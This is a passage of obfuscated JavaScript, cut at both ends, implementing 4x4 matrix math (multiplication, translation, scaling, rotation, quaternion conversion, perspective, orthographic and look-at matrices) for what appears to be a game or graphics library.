* _0x37e75c, this; }, 'multiplyLocal': function (_0x28e6c4) { var _0x829017 = this['val'], _0x4f8768 = _0x28e6c4['val']; return this['setValues'](_0x829017[0x0] * _0x4f8768[0x0] + _0x829017[0x1] * _0x4f8768[0x4] + _0x829017[0x2] * _0x4f8768[0x8] + _0x829017[0x3] * _0x4f8768[0xc], _0x829017[0x0] * _0x4f8768[0x1] + _0x829017[0x1] * _0x4f8768[0x5] + _0x829017[0x2] * _0x4f8768[0x9] + _0x829017[0x3] * _0x4f8768[0xd], _0x829017[0x0] * _0x4f8768[0x2] + _0x829017[0x1] * _0x4f8768[0x6] + _0x829017[0x2] * _0x4f8768[0xa] + _0x829017[0x3] * _0x4f8768[0xe], _0x829017[0x0] * _0x4f8768[0x3] + _0x829017[0x1] * _0x4f8768[0x7] + _0x829017[0x2] * _0x4f8768[0xb] + _0x829017[0x3] * _0x4f8768[0xf], _0x829017[0x4] * _0x4f8768[0x0] + _0x829017[0x5] * _0x4f8768[0x4] + _0x829017[0x6] * _0x4f8768[0x8] + _0x829017[0x7] * _0x4f8768[0xc], _0x829017[0x4] * _0x4f8768[0x1] + _0x829017[0x5] * _0x4f8768[0x5] + _0x829017[0x6] * _0x4f8768[0x9] + _0x829017[0x7] * _0x4f8768[0xd], _0x829017[0x4] * _0x4f8768[0x2] + _0x829017[0x5] * _0x4f8768[0x6] + _0x829017[0x6] * _0x4f8768[0xa] + _0x829017[0x7] * _0x4f8768[0xe], _0x829017[0x4] * _0x4f8768[0x3] + _0x829017[0x5] * _0x4f8768[0x7] + _0x829017[0x6] * _0x4f8768[0xb] + _0x829017[0x7] * _0x4f8768[0xf], _0x829017[0x8] * _0x4f8768[0x0] + _0x829017[0x9] * _0x4f8768[0x4] + _0x829017[0xa] * _0x4f8768[0x8] + _0x829017[0xb] * _0x4f8768[0xc], _0x829017[0x8] * _0x4f8768[0x1] + _0x829017[0x9] * _0x4f8768[0x5] + _0x829017[0xa] * _0x4f8768[0x9] + _0x829017[0xb] * _0x4f8768[0xd], _0x829017[0x8] * _0x4f8768[0x2] + _0x829017[0x9] * _0x4f8768[0x6] + _0x829017[0xa] * _0x4f8768[0xa] + _0x829017[0xb] * _0x4f8768[0xe], _0x829017[0x8] * _0x4f8768[0x3] + _0x829017[0x9] * _0x4f8768[0x7] + _0x829017[0xa] * _0x4f8768[0xb] + _0x829017[0xb] * _0x4f8768[0xf], _0x829017[0xc] * _0x4f8768[0x0] + _0x829017[0xd] * _0x4f8768[0x4] + _0x829017[0xe] * _0x4f8768[0x8] + _0x829017[0xf] * _0x4f8768[0xc], _0x829017[0xc] * _0x4f8768[0x1] + _0x829017[0xd] * _0x4f8768[0x5] + _0x829017[0xe] * _0x4f8768[0x9] + _0x829017[0xf] * _0x4f8768[0xd], _0x829017[0xc] * _0x4f8768[0x2] + _0x829017[0xd] * _0x4f8768[0x6] + _0x829017[0xe] * _0x4f8768[0xa] + _0x829017[0xf] * _0x4f8768[0xe], _0x829017[0xc] * _0x4f8768[0x3] + _0x829017[0xd] * _0x4f8768[0x7] + _0x829017[0xe] * _0x4f8768[0xb] + _0x829017[0xf] * _0x4f8768[0xf]); }, 'premultiply': function (_0x45dc42) { return this['multiplyMatrices'](_0x45dc42, this); }, 'multiplyMatrices': function (_0x509db2, _0x152d19) { var _0x567eea = _0x509db2['val'], _0x58a517 = _0x152d19['val'], _0x9ce82f = _0x567eea[0x0], _0x2ea4fd = _0x567eea[0x4], _0x3396a4 = _0x567eea[0x8], _0x25cbde = _0x567eea[0xc], _0x11ee6b = _0x567eea[0x1], _0x185c92 = _0x567eea[0x5], _0x215d9b = _0x567eea[0x9], _0x2e0144 = _0x567eea[0xd], _0x3c5feb = _0x567eea[0x2], _0x181173 = _0x567eea[0x6], _0x52b876 = _0x567eea[0xa], _0x3cff82 = _0x567eea[0xe], _0x59bee0 = _0x567eea[0x3], _0x5ef568 = _0x567eea[0x7], _0x2c35ae = _0x567eea[0xb], _0x571e11 = _0x567eea[0xf], _0x911f1c = _0x58a517[0x0], _0x4e89fa = _0x58a517[0x4], _0x592cc7 = _0x58a517[0x8], _0x330007 = _0x58a517[0xc], _0x52f21e = _0x58a517[0x1], _0x5bbfc9 = _0x58a517[0x5], _0x1e719c = _0x58a517[0x9], _0x578c7b = _0x58a517[0xd], _0x547017 = _0x58a517[0x2], _0x340bc1 = _0x58a517[0x6], _0x2bc847 = _0x58a517[0xa], _0x17afc4 = _0x58a517[0xe], _0x4caac2 = _0x58a517[0x3], _0x2caf91 = _0x58a517[0x7], _0x3b7cbd = _0x58a517[0xb], _0x95729d = _0x58a517[0xf]; return this['setValues'](_0x9ce82f * _0x911f1c + _0x2ea4fd * _0x52f21e + _0x3396a4 * _0x547017 + _0x25cbde * _0x4caac2, _0x11ee6b * _0x911f1c + _0x185c92 * _0x52f21e + _0x215d9b * _0x547017 + _0x2e0144 * _0x4caac2, _0x3c5feb * _0x911f1c + _0x181173 * _0x52f21e + _0x52b876 * _0x547017 + _0x3cff82 * _0x4caac2, _0x59bee0 * _0x911f1c + _0x5ef568 * _0x52f21e + _0x2c35ae * _0x547017 + _0x571e11 * _0x4caac2, _0x9ce82f * _0x4e89fa + _0x2ea4fd * _0x5bbfc9 + _0x3396a4 * _0x340bc1 + _0x25cbde * _0x2caf91, _0x11ee6b * _0x4e89fa + _0x185c92 * _0x5bbfc9 + _0x215d9b * _0x340bc1 + _0x2e0144 * _0x2caf91, _0x3c5feb * _0x4e89fa + _0x181173 * _0x5bbfc9 + _0x52b876 * _0x340bc1 + _0x3cff82 * _0x2caf91, _0x59bee0 * _0x4e89fa + _0x5ef568 * _0x5bbfc9 + _0x2c35ae * _0x340bc1 + _0x571e11 * _0x2caf91, _0x9ce82f * _0x592cc7 + _0x2ea4fd * _0x1e719c + _0x3396a4 * _0x2bc847 + _0x25cbde * _0x3b7cbd, _0x11ee6b * _0x592cc7 + _0x185c92 * _0x1e719c + _0x215d9b * _0x2bc847 + _0x2e0144 * _0x3b7cbd, _0x3c5feb * _0x592cc7 + _0x181173 * _0x1e719c + _0x52b876 * _0x2bc847 + _0x3cff82 * _0x3b7cbd, _0x59bee0 * _0x592cc7 + _0x5ef568 * _0x1e719c + _0x2c35ae * _0x2bc847 + _0x571e11 * _0x3b7cbd, _0x9ce82f * _0x330007 + _0x2ea4fd * _0x578c7b + _0x3396a4 * _0x17afc4 + _0x25cbde * _0x95729d, _0x11ee6b * _0x330007 + _0x185c92 * _0x578c7b + _0x215d9b * _0x17afc4 + _0x2e0144 * _0x95729d, _0x3c5feb * _0x330007 + _0x181173 * _0x578c7b + _0x52b876 * _0x17afc4 + _0x3cff82 * _0x95729d, _0x59bee0 * _0x330007 + _0x5ef568 * _0x578c7b + _0x2c35ae * _0x17afc4 + _0x571e11 * _0x95729d); }, 'translate': function (_0x3bd9a7) { return this['translateXYZ'](_0x3bd9a7['x'], _0x3bd9a7['y'], _0x3bd9a7['z']); }, 'translateXYZ': function (_0x5654bb, _0x29f8ee, _0x284ada) { var _0x5611ab = this['val']; return _0x5611ab[0xc] = _0x5611ab[0x0] * _0x5654bb + _0x5611ab[0x4] * _0x29f8ee + _0x5611ab[0x8] * _0x284ada + _0x5611ab[0xc], _0x5611ab[0xd] = _0x5611ab[0x1] * _0x5654bb + _0x5611ab[0x5] * _0x29f8ee + _0x5611ab[0x9] * _0x284ada + _0x5611ab[0xd], _0x5611ab[0xe] = _0x5611ab[0x2] * _0x5654bb + _0x5611ab[0x6] * _0x29f8ee + _0x5611ab[0xa] * _0x284ada + _0x5611ab[0xe], _0x5611ab[0xf] = _0x5611ab[0x3] * _0x5654bb + _0x5611ab[0x7] * _0x29f8ee + _0x5611ab[0xb] * _0x284ada + _0x5611ab[0xf], this; }, 'scale': function (_0x3ed24f) { return this['scaleXYZ'](_0x3ed24f['x'], _0x3ed24f['y'], _0x3ed24f['z']); }, 'scaleXYZ': function (_0x3351e4, _0x53fbfa, _0x3c66b4) { var _0x1706e5 = this['val']; return _0x1706e5[0x0] = _0x1706e5[0x0] * _0x3351e4, _0x1706e5[0x1] = _0x1706e5[0x1] * _0x3351e4, _0x1706e5[0x2] = _0x1706e5[0x2] * _0x3351e4, _0x1706e5[0x3] = _0x1706e5[0x3] * _0x3351e4, _0x1706e5[0x4] = _0x1706e5[0x4] * _0x53fbfa, _0x1706e5[0x5] = _0x1706e5[0x5] * _0x53fbfa, _0x1706e5[0x6] = _0x1706e5[0x6] * _0x53fbfa, _0x1706e5[0x7] = _0x1706e5[0x7] * _0x53fbfa, _0x1706e5[0x8] = _0x1706e5[0x8] * _0x3c66b4, _0x1706e5[0x9] = _0x1706e5[0x9] * _0x3c66b4, _0x1706e5[0xa] = _0x1706e5[0xa] * _0x3c66b4, _0x1706e5[0xb] = _0x1706e5[0xb] * _0x3c66b4, this; }, 'makeRotationAxis': function (_0x5bec77, _0x256228) { var _0x18a1d4 = Math['cos'](_0x256228), _0x69e1ce = Math['sin'](_0x256228), _0x3401a4 = 0x1 - _0x18a1d4, _0x4bc833 = _0x5bec77['x'], _0x2adeb1 = _0x5bec77['y'], _0x5e6df1 = _0x5bec77['z'], _0x5dfc54 = _0x3401a4 * _0x4bc833, _0x183d61 = _0x3401a4 * _0x2adeb1; return this['setValues'](_0x5dfc54 * _0x4bc833 + _0x18a1d4, _0x5dfc54 * _0x2adeb1 - _0x69e1ce * _0x5e6df1, _0x5dfc54 * _0x5e6df1 + _0x69e1ce * _0x2adeb1, 0x0, _0x5dfc54 * _0x2adeb1 + _0x69e1ce * _0x5e6df1, _0x183d61 * _0x2adeb1 + _0x18a1d4, _0x183d61 * _0x5e6df1 - _0x69e1ce * _0x4bc833, 0x0, _0x5dfc54 * _0x5e6df1 - _0x69e1ce * _0x2adeb1, _0x183d61 * _0x5e6df1 + _0x69e1ce * _0x4bc833, _0x3401a4 * _0x5e6df1 * _0x5e6df1 + _0x18a1d4, 0x0, 0x0, 0x0, 0x0, 0x1); }, 'rotate': function (_0x324d20, _0x1c0853) { var _0x363106 = this['val'], _0x23c162 = _0x1c0853['x'], _0x30a9cc = _0x1c0853['y'], _0x446e7e = _0x1c0853['z'], _0x187589 = Math['sqrt'](_0x23c162 * _0x23c162 + _0x30a9cc * _0x30a9cc + _0x446e7e * _0x446e7e); if (Math['abs'](_0x187589) < _0xbd9ffb) return this; _0x23c162 *= _0x187589 = 0x1 / _0x187589, _0x30a9cc *= _0x187589, _0x446e7e *= _0x187589; var _0x10745a = Math['sin'](_0x324d20), _0x2b8acc = Math['cos'](_0x324d20), _0x55f84f = 0x1 - _0x2b8acc, _0x4eb318 = _0x363106[0x0], _0x5455b9 = _0x363106[0x1], _0x20b7c9 = _0x363106[0x2], _0x3611bb = _0x363106[0x3], _0x500fd3 = _0x363106[0x4], _0x446206 = _0x363106[0x5], _0x2822cf = _0x363106[0x6], _0x11826d = _0x363106[0x7], _0x14dec1 = _0x363106[0x8], _0x39d38b = _0x363106[0x9], _0x3b6f6c = _0x363106[0xa], _0x30048d = _0x363106[0xb], _0xea2848 = _0x363106[0xc], _0x257778 = _0x363106[0xd], _0xaa9c31 = _0x363106[0xe], _0x1d5f35 = _0x363106[0xf], _0x432863 = _0x23c162 * _0x23c162 * _0x55f84f + _0x2b8acc, _0x43b0a1 = _0x30a9cc * _0x23c162 * _0x55f84f + _0x446e7e * _0x10745a, _0x597535 = _0x446e7e * _0x23c162 * _0x55f84f - _0x30a9cc * _0x10745a, _0x34af8c = _0x23c162 * _0x30a9cc * _0x55f84f - _0x446e7e * _0x10745a, _0x1fb9f3 = _0x30a9cc * _0x30a9cc * _0x55f84f + _0x2b8acc, _0x430c22 = _0x446e7e * _0x30a9cc * _0x55f84f + _0x23c162 * _0x10745a, _0x624aa3 = _0x23c162 * _0x446e7e * _0x55f84f + _0x30a9cc * _0x10745a, _0x107676 = _0x30a9cc * _0x446e7e * _0x55f84f - _0x23c162 * _0x10745a, _0x3af72d = _0x446e7e * _0x446e7e * _0x55f84f + _0x2b8acc; return this['setValues'](_0x4eb318 * _0x432863 + _0x500fd3 * _0x43b0a1 + _0x14dec1 * _0x597535, _0x5455b9 * _0x432863 + _0x446206 * _0x43b0a1 + _0x39d38b * _0x597535, _0x20b7c9 * _0x432863 + _0x2822cf * _0x43b0a1 + _0x3b6f6c * _0x597535, _0x3611bb * _0x432863 + _0x11826d * _0x43b0a1 + _0x30048d * _0x597535, _0x4eb318 * _0x34af8c + _0x500fd3 * _0x1fb9f3 + _0x14dec1 * _0x430c22, _0x5455b9 * _0x34af8c + _0x446206 * _0x1fb9f3 + _0x39d38b * _0x430c22, _0x20b7c9 * _0x34af8c + _0x2822cf * _0x1fb9f3 + _0x3b6f6c * _0x430c22, _0x3611bb * _0x34af8c + _0x11826d * _0x1fb9f3 + _0x30048d * _0x430c22, _0x4eb318 * _0x624aa3 + _0x500fd3 * _0x107676 + _0x14dec1 * _0x3af72d, _0x5455b9 * _0x624aa3 + _0x446206 * _0x107676 + _0x39d38b * _0x3af72d, _0x20b7c9 * _0x624aa3 + _0x2822cf * _0x107676 + _0x3b6f6c * _0x3af72d, _0x3611bb * _0x624aa3 + _0x11826d * _0x107676 + _0x30048d * _0x3af72d, _0xea2848, _0x257778, _0xaa9c31, _0x1d5f35); }, 'rotateX': function (_0x419c59) { var _0x336c11 = this['val'], _0x2dae3c = Math['sin'](_0x419c59), _0x15ef69 = Math['cos'](_0x419c59), _0x4f5265 = _0x336c11[0x4], _0x30660a = _0x336c11[0x5], _0x2c98e1 = _0x336c11[0x6], _0x352790 = _0x336c11[0x7], _0x5b58c4 = _0x336c11[0x8], _0x3ad794 = _0x336c11[0x9], _0x34cddc = _0x336c11[0xa], _0x932c93 = _0x336c11[0xb]; return _0x336c11[0x4] = _0x4f5265 * _0x15ef69 + _0x5b58c4 * _0x2dae3c, _0x336c11[0x5] = _0x30660a * _0x15ef69 + _0x3ad794 * _0x2dae3c, _0x336c11[0x6] = _0x2c98e1 * _0x15ef69 + _0x34cddc * _0x2dae3c, _0x336c11[0x7] = _0x352790 * _0x15ef69 + _0x932c93 * _0x2dae3c, _0x336c11[0x8] = _0x5b58c4 * _0x15ef69 - _0x4f5265 * _0x2dae3c, _0x336c11[0x9] = _0x3ad794 * _0x15ef69 - _0x30660a * _0x2dae3c, _0x336c11[0xa] = _0x34cddc * _0x15ef69 - _0x2c98e1 * _0x2dae3c, _0x336c11[0xb] = _0x932c93 * _0x15ef69 - _0x352790 * _0x2dae3c, this; }, 'rotateY': function (_0x519558) { var _0x2c1ae9 = this['val'], _0x313ae3 = Math['sin'](_0x519558), _0x3bb07a = Math['cos'](_0x519558), _0x49b8a9 = _0x2c1ae9[0x0], _0x3910dc = _0x2c1ae9[0x1], _0x182d58 = _0x2c1ae9[0x2], _0x47beb1 = _0x2c1ae9[0x3], _0x1143c4 = _0x2c1ae9[0x8], _0x339e0d = _0x2c1ae9[0x9], _0x394f7f = _0x2c1ae9[0xa], _0x4add71 = _0x2c1ae9[0xb]; return _0x2c1ae9[0x0] = _0x49b8a9 * _0x3bb07a - _0x1143c4 * _0x313ae3, _0x2c1ae9[0x1] = _0x3910dc * _0x3bb07a - _0x339e0d * _0x313ae3, _0x2c1ae9[0x2] = _0x182d58 * _0x3bb07a - _0x394f7f * _0x313ae3, _0x2c1ae9[0x3] = _0x47beb1 * _0x3bb07a - _0x4add71 * _0x313ae3, _0x2c1ae9[0x8] = _0x49b8a9 * _0x313ae3 + _0x1143c4 * _0x3bb07a, _0x2c1ae9[0x9] = _0x3910dc * _0x313ae3 + _0x339e0d * _0x3bb07a, _0x2c1ae9[0xa] = _0x182d58 * _0x313ae3 + _0x394f7f * _0x3bb07a, _0x2c1ae9[0xb] = _0x47beb1 * _0x313ae3 + _0x4add71 * _0x3bb07a, this; }, 'rotateZ': function (_0x2a5444) { var _0x55f6de = this['val'], _0xd7177c = Math['sin'](_0x2a5444), _0x3388fc = Math['cos'](_0x2a5444), _0x3a3e00 = _0x55f6de[0x0], _0x236f86 = _0x55f6de[0x1], _0x52bf36 = _0x55f6de[0x2], _0x3405ff = _0x55f6de[0x3], _0x470d29 = _0x55f6de[0x4], _0x1cfe5c = _0x55f6de[0x5], _0x4e6135 = _0x55f6de[0x6], _0x17658e = _0x55f6de[0x7]; return _0x55f6de[0x0] = _0x3a3e00 * _0x3388fc + _0x470d29 * _0xd7177c, _0x55f6de[0x1] = _0x236f86 * _0x3388fc + _0x1cfe5c * _0xd7177c, _0x55f6de[0x2] = _0x52bf36 * _0x3388fc + _0x4e6135 * _0xd7177c, _0x55f6de[0x3] = _0x3405ff * _0x3388fc + _0x17658e * _0xd7177c, _0x55f6de[0x4] = _0x470d29 * _0x3388fc - _0x3a3e00 * _0xd7177c, _0x55f6de[0x5] = _0x1cfe5c * _0x3388fc - _0x236f86 * _0xd7177c, _0x55f6de[0x6] = _0x4e6135 * _0x3388fc - _0x52bf36 * _0xd7177c, _0x55f6de[0x7] = _0x17658e * _0x3388fc - _0x3405ff * _0xd7177c, this; }, 'fromRotationTranslation': function (_0x4322b2, _0x5eecbf) { var _0x2a0729 = _0x4322b2['x'], _0x398fcb = _0x4322b2['y'], _0x43a709 = _0x4322b2['z'], _0x2039dc = _0x4322b2['w'], _0x5c1208 = _0x2a0729 + _0x2a0729, _0x4e5fb0 = _0x398fcb + _0x398fcb, _0x544112 = _0x43a709 + _0x43a709, _0x1b7920 = _0x2a0729 * _0x5c1208, _0x10039d = _0x2a0729 * _0x4e5fb0, _0x3b5a49 = _0x2a0729 * _0x544112, _0x4fc78d = _0x398fcb * _0x4e5fb0, _0x312954 = _0x398fcb * _0x544112, _0x1a94db = _0x43a709 * _0x544112, _0x1acc0b = _0x2039dc * _0x5c1208, _0x2fc30d = _0x2039dc * _0x4e5fb0, _0x17d714 = _0x2039dc * _0x544112; return this['setValues'](0x1 - (_0x4fc78d + _0x1a94db), _0x10039d + _0x17d714, _0x3b5a49 - _0x2fc30d, 0x0, _0x10039d - _0x17d714, 0x1 - (_0x1b7920 + _0x1a94db), _0x312954 + _0x1acc0b, 0x0, _0x3b5a49 + _0x2fc30d, _0x312954 - _0x1acc0b, 0x1 - (_0x1b7920 + _0x4fc78d), 0x0, _0x5eecbf['x'], _0x5eecbf['y'], _0x5eecbf['z'], 0x1); }, 'fromQuat': function (_0x39a3a8) { var _0x3078c8 = _0x39a3a8['x'], _0x4b9def = _0x39a3a8['y'], _0x5b44f6 = _0x39a3a8['z'], _0x21e767 = _0x39a3a8['w'], _0x529f52 = _0x3078c8 + _0x3078c8, _0x1db43c = _0x4b9def + _0x4b9def, _0xa44eb6 = _0x5b44f6 + _0x5b44f6, _0x879a7f = _0x3078c8 * _0x529f52, _0x154fb5 = _0x3078c8 * _0x1db43c, _0x5f10d5 = _0x3078c8 * _0xa44eb6, _0x436385 = _0x4b9def * _0x1db43c, _0xb13b31 = _0x4b9def * _0xa44eb6, _0x5cedaf = _0x5b44f6 * _0xa44eb6, _0x5ee6f0 = _0x21e767 * _0x529f52, _0x3126f9 = _0x21e767 * _0x1db43c, _0xab1888 = _0x21e767 * _0xa44eb6; return this['setValues'](0x1 - (_0x436385 + _0x5cedaf), _0x154fb5 + _0xab1888, _0x5f10d5 - _0x3126f9, 0x0, _0x154fb5 - _0xab1888, 0x1 - (_0x879a7f + _0x5cedaf), _0xb13b31 + _0x5ee6f0, 0x0, _0x5f10d5 + _0x3126f9, _0xb13b31 - _0x5ee6f0, 0x1 - (_0x879a7f + _0x436385), 0x0, 0x0, 0x0, 0x0, 0x1); }, 'frustum': function (_0x2d252f, _0x4c0524, _0x28525c, _0xf6b050, _0x373612, _0x1e0cb0) { var _0x178356 = 0x1 / (_0x4c0524 - _0x2d252f), _0x43e147 = 0x1 / (_0xf6b050 - _0x28525c), _0x5481ad = 0x1 / (_0x373612 - _0x1e0cb0); return this['setValues'](0x2 * _0x373612 * _0x178356, 0x0, 0x0, 0x0, 0x0, 0x2 * _0x373612 * _0x43e147, 0x0, 0x0, (_0x4c0524 + _0x2d252f) * _0x178356, (_0xf6b050 + _0x28525c) * _0x43e147, (_0x1e0cb0 + _0x373612) * _0x5481ad, -0x1, 0x0, 0x0, _0x1e0cb0 * _0x373612 * 0x2 * _0x5481ad, 0x0); }, 'perspective': function (_0x10666b, _0x21e990, _0x577187, _0x418d56) { var _0x39cfbd = 0x1 / Math['tan'](_0x10666b / 0x2), _0x27ebd3 = 0x1 / (_0x577187 - _0x418d56); return this['setValues'](_0x39cfbd / _0x21e990, 0x0, 0x0, 0x0, 0x0, _0x39cfbd, 0x0, 0x0, 0x0, 0x0, (_0x418d56 + _0x577187) * _0x27ebd3, -0x1, 0x0, 0x0, 0x2 * _0x418d56 * _0x577187 * _0x27ebd3, 0x0); }, 'perspectiveLH': function (_0x1bca37, _0x554fe7, _0x34fd5a, _0x3ca964) { return this['setValues'](0x2 * _0x34fd5a / _0x1bca37, 0x0, 0x0, 0x0, 0x0, 0x2 * _0x34fd5a / _0x554fe7, 0x0, 0x0, 0x0, 0x0, -_0x3ca964 / (_0x34fd5a - _0x3ca964), 0x1, 0x0, 0x0, _0x34fd5a * _0x3ca964 / (_0x34fd5a - _0x3ca964), 0x0); }, 'ortho': function (_0xb2a58d, _0x336484, _0x2d0229, _0x4e6243, _0x9e0792, _0x34f1ec) { var _0xb1ed1e = _0xb2a58d - _0x336484, _0x4b5482 = _0x2d0229 - _0x4e6243, _0x13b61b = _0x9e0792 - _0x34f1ec; return _0xb1ed1e = 0x0 === _0xb1ed1e ? _0xb1ed1e : 0x1 / _0xb1ed1e, _0x4b5482 = 0x0 === _0x4b5482 ? _0x4b5482 : 0x1 / _0x4b5482, _0x13b61b = 0x0 === _0x13b61b ? _0x13b61b : 0x1 / _0x13b61b, this['setValues'](-0x2 * _0xb1ed1e, 0x0, 0x0, 0x0, 0x0, -0x2 * _0x4b5482, 0x0, 0x0, 0x0, 0x0, 0x2 * _0x13b61b, 0x0, (_0xb2a58d + _0x336484) * _0xb1ed1e, (_0x4e6243 + _0x2d0229) * _0x4b5482, (_0x34f1ec + _0x9e0792) * _0x13b61b, 0x1); }, 'lookAtRH': function (_0x114ebd, _0xe85c40, _0x10267d) { var _0x5d98ca = this['val']; return _0x1108cf['subVectors'](_0x114ebd, _0xe85c40), 0x0 === _0x1108cf['getLengthSquared']() && (_0x1108cf['z'] = 0x1), _0x1108cf['normalize'](), _0x3691ef['crossVectors'](_0x10267d, _0x1108cf), 0x0 === _0x3691ef['getLengthSquared']() && (0x1 === Math['abs'](_0x10267d['z']) ? _0x1108cf['x'] += 0.0001 : _0x1108cf['z'] += 0.0001, _0x1108cf['normalize'](), _0x3691ef['crossVectors'](_0x10267d, _0x1108cf)), _0x3691ef['normalize'](), _0x36f688['crossVectors'](_0x1108cf, _0x3691ef), _0x5d98ca[0x0] = _0x3691ef['x'], _0x5d98ca[0x1] = _0x3691ef['y'], _0x5d98ca[0x2] = _0x3691ef['z'], _0x5d98ca[0x4] = _0x36f688['x'], _0x5d98ca[0x5] = _0x36f688['y'], _0x5d98ca[0x6] = _0x36f688['z'], _0x5d98ca[0x8] = _0x1108cf['x'], _0x5d98ca[0x9] = _0x1108cf['y'], _0x5d98ca[0xa] = _0x1108cf['z'], this; }, 'lookAt': function (_0x17be23, _0x40da48, _0x19000b) { var _0x2bf7de = _0x17be23['x'], _0x1ec155 = _0x17be23['y'], _0x97463c = _0x17be23['z'], _0x1a3b71 = _0x19000b['x'], _0x5c87d5 = _0x19000b['y'], _0x512aac = _0x19000b['z'], _0x1ad386 = _0x40da48['x'], _0x1210c1 = _0x40da48['y'], _0x30d088 = _0x40da48['z']; if (Math['abs'](_0x2bf7de - _0x1ad386) < _0xbd9ffb && Math['abs'](_0x1ec155 - _0x1210c1) < _0xbd9ffb && Math['abs'](_0x97463c - _0x30d088) < _0xbd9ffb) return this['identity'](); var _0x456ee2 = _0x2bf7de - _0x1ad386, _0xebac72 = _0x1ec155 - _0x1210c1, _0x33d38d = _0x97463c - _0x30d088, _0x29f37f = 0x1 / Math['sqrt'](_0x456ee2 * _0x456ee2 + _0xebac72 * _0xebac72 + _0x33d38d * _0x33d38d), _0xdd18e = _0x5c87d5 * (_0x33d38d *= _0x29f37f) - _0x512aac * (_0xebac72 *= _0x29f37f), _0x353629 = _0x512aac * (_0x456ee2 *= _0x29f37f) - _0x1a3b71 * _0x33d38d, _0x3b2c4b = _0x1a3b71 * _0xebac72 - _0x5c87d5 * _0x456ee2; (_0x29f37f = Math['sqrt'](_0xdd18e * _0xdd18e + _0x353629 * _0x353629 + _0x3b2c4b * _0x3b2c4b)) ? (_0xdd18e *= _0x29f37f = 0x1 / _0x29f37f, _0x353629 *= _0x29f37f, _0x3b2c4b *= _0x29f37f) : (_0xdd18e = 0x0, _0x353629 = 0x0, _0x3b2c4b = 0x0); var _0xeb9717 = _0xebac72 * _0x3b2c4b - _0x33d38d * _0x353629, _0x1b2f05 = _0x33d38d * _0xdd18e - _0x456ee2 * _0x3b2c4b, _0x236dfc = _0x456ee2 * _0x353629 - _0xebac72 * _0xdd18e; return (_0x29f37f = Math['sqrt'](_0xeb9717 * _0xeb9717 + _0x1b2f05 * _0x1b2f05 + _0x236dfc * _0x236dfc)) ? (_0xeb9717 *= _0x29f37f = 0x1 / _0x29f37f, _0x1b2f05 *= _0x29f37f, _0x236dfc *= _0x29f37f) : (_0xeb9717 = 0x0, _0x1b2f05 = 0x0, _0x236dfc = 0x0), this['setValues'](_0xdd18e, _0xeb9717, _0x456ee2, 0x0, _0x353629, _0x1b2f05, _0xebac72, 0x0, _0x3b2c4b, _0x236dfc, _0x33d38d, 0x0, -(_0xdd18e * _0x2bf7de + _0x353629 * _0x1ec155 + _0x3b2c4b * _0x97463c), -(_0xeb9717 * _0x2bf7de + _0x1b2f05 * _0x1ec155 + _0x236dfc * _0x97463c), -(_0x456ee2 * _0x2bf7de + _0xebac72 * _0x1ec155 + _0x33d38d * _0x97463c), 0x1); }, 'yawPitchRoll': function (_0x4ccbb5, _0x287e81, _0x2f22c1) { this['zero'](), _0x40b9e0['zero'](), _0x3288d3['zero'](); var _0x44d1ba = this['val'], _0x29b87d = _0x40b9e0['val'], _0x583a42 = _0x3288d3['val'], _0x1bc605 = Math['sin'](_0x2f22c1), _0x2bb072 = Math['cos'](_0x2f22c1); return _0x44d1ba[0xa] = 0x1, _0x44d1ba[0xf] = 0x1, _0x44d1ba[0x0] = _0x2bb072, _0x44d1ba[0x1] = _0x1bc605, _0x44d1ba[0x4] = -_0x1bc605, _0x44d1ba[0x5] = _0x2bb072, _0x1bc605 = Math['sin'](_0x287e81), _0x2bb072 = Math['cos'](_0x287e81), _0x29b87d[0x0] = 0x1, _0x29b87d[0xf] = 0x1, _0x29b87d[0x5] = _0x2bb072, _0x29b87d[0xa] = _0x2bb072, _0x29b87d[0x9] = -_0x1bc605, _0x29b87d[0x6] = _0x1bc605, _0x1bc605 = Math['sin'](_0x4ccbb5), _0x2bb072 = Math['cos'](_0x4ccbb5), _0x583a42[0x5] = 0x1, _0x583a42[0xf] = 0x1, _0x583a42[0x0] = _0x2bb072, _0x583a42[0x2] = -_0x1bc605, _0x583a42[0x8] = _0x1bc605, _0x583a42[0xa] = _0x2bb072, this['multiplyLocal'](_0x40b9e0), this['multiplyLocal'](_0x3288d3), this; }, 'setWorldMatrix': function (_0x24eecd, _0x5d369d, _0x2b5cc6, _0x540064, _0x3fd67e) { return this['yawPitchRoll'](_0x24eecd['y'], _0x24eecd['x'], _0x24eecd['z']), _0x40b9e0['scaling'](_0x2b5cc6['x'], _0x2b5cc6['y'], _0x2b5cc6['z']), _0x3288d3['xyz'](_0x5d369d['x'], _0x5d369d['y'], _0x5d369d['z']), this['multiplyLocal'](_0x40b9e0), this['multiplyLocal'](_0x3288d3), _0x540064 && this['multiplyLocal'](_0x540064), _0x3fd67e && this['multiplyLocal'](_0x3fd67e), this; }, 'multiplyToMat4': function (_0x379c25, _0x257060) { var _0x250704 = this['val'], _0x307e98 = _0x379c25['val'], _0x360624 = _0x250704[0x0], _0x36579d = _0x250704[0x1], _0x327980 = _0x250704[0x2], _0x1c2820 = _0x250704[0x3], _0x4791ee = _0x250704[0x4], _0x173277 = _0x250704[0x5], _0x50cbbe = _0x250704[0x6], _0x24ba2f = _0x250704[0x7], _0x5ebf30 = _0x250704[0x8], _0x1d26f3 = _0x250704[0x9], _0xc29c0a = _0x250704[0xa], _0x4430cc = _0x250704[0xb], _0x5418f6 = _0x250704[0xc], _0x23914e = _0x250704[0xd], _0x59d043 = _0x250704[0xe], _0x4e9b79 = _0x250704[0xf], _0x3d1a6d = _0x307e98[0x0], _0x20a6ee = _0x307e98[0x1], _0xdbc21e = _0x307e98[0x2], _0x3e9323 = _0x307e98[0x3], _0x299e2f = _0x307e98[0x4], _0x2739f5 = _0x307e98[0x5], _0x1dca22 = _0x307e98[0x6], _0x204f5a = _0x307e98[0x7], _0x85c9d7 = _0x307e98[0x8], _0x19e912 = _0x307e98[0x9], _0x414afc = _0x307e98[0xa], _0x2927e1 = _0x307e98[0xb], _0x47483a = _0x307e98[0xc], _0x31c103 = _0x307e98[0xd], _0x2395ec = _0x307e98[0xe], _0x338cda = _0x307e98[0xf]; return _0x257060['setValues'](_0x3d1a6d * _0x360624 + _0x20a6ee * _0x4791ee + _0xdbc21e * _0x5ebf30 + _0x3e9323 * _0x5418f6, _0x20a6ee * _0x36579d + _0x20a6ee * _0x173277 + _0xdbc21e * _0x1d26f3 + _0x3e9323 * _0x23914e, _0xdbc21e * _0x327980 + _0x20a6ee * _0x50cbbe + _0xdbc21e * _0xc29c0a + _0x3e9323 * _0x59d043, _0x3e9323 * _0x1c2820 + _0x20a6ee * _0x24ba2f 